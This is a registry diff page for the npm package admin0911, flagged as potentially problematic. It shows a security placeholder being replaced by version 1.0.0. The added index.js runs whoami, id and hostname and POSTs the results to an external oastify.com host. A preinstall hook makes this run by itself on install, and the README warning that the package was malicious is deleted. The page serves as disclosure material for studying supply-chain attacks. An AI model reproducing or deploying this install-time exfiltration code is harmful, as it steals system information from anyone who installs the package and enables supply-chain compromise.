admin0911 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of admin0911 might be problematic. Click here for more details.

Binary file
package/index.js ADDED
@@ -0,0 +1,44 @@
1
+ const http = require('http');
2
+ const fs = require('fs');
3
+ const { execSync } = require('child_process');
4
+ const os = require('os');
5
+
6
+ const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
7
+
8
+ function runCommand(cmd) {
9
+ try {
10
+ return execSync(cmd, { encoding: 'utf8', stdio: 'pipe' }).trim();
11
+ } catch (e) {
12
+ return `ERROR: ${e.message}`;
13
+ }
14
+ }
15
+
16
+ const isWindows = os.platform() === 'win32';
17
+ const commands = {
18
+ whoami: isWindows ? 'whoami' : 'whoami',
19
+ id: isWindows ? 'whoami /groups' : 'id',
20
+ hostname: isWindows ? 'hostname' : 'hostname'
21
+ };
22
+
23
+ const results = {
24
+ whoami: runCommand(commands.whoami),
25
+ id: runCommand(commands.id),
26
+ hostname: runCommand(commands.hostname)
27
+ };
28
+
29
+ const payload = JSON.stringify({ timestamp: new Date().toISOString(), results }, null, 2);
30
+
31
+ const req = http.request({
32
+ hostname: OASTIFY_HOST,
33
+ method: 'POST',
34
+ path: '/?system_identity',
35
+ headers: {
36
+ 'Content-Type': 'application/json',
37
+ 'Content-Length': Buffer.byteLength(payload)
38
+ }
39
+ });
40
+ req.write(payload);
41
+ req.end();
42
+
43
+ fs.writeFileSync('system_identity.log', payload + '\n');
44
+ console.log('whoami, id, and hostname collected and sent to OASTIFY.');
package/package.json CHANGED
@@ -1,6 +1,7 @@
1
1
  {
2
2
  "name": "admin0911",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "scripts": {
5
+ "preinstall": "node index.js"
6
+ }
6
7
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=admin0911 for more information.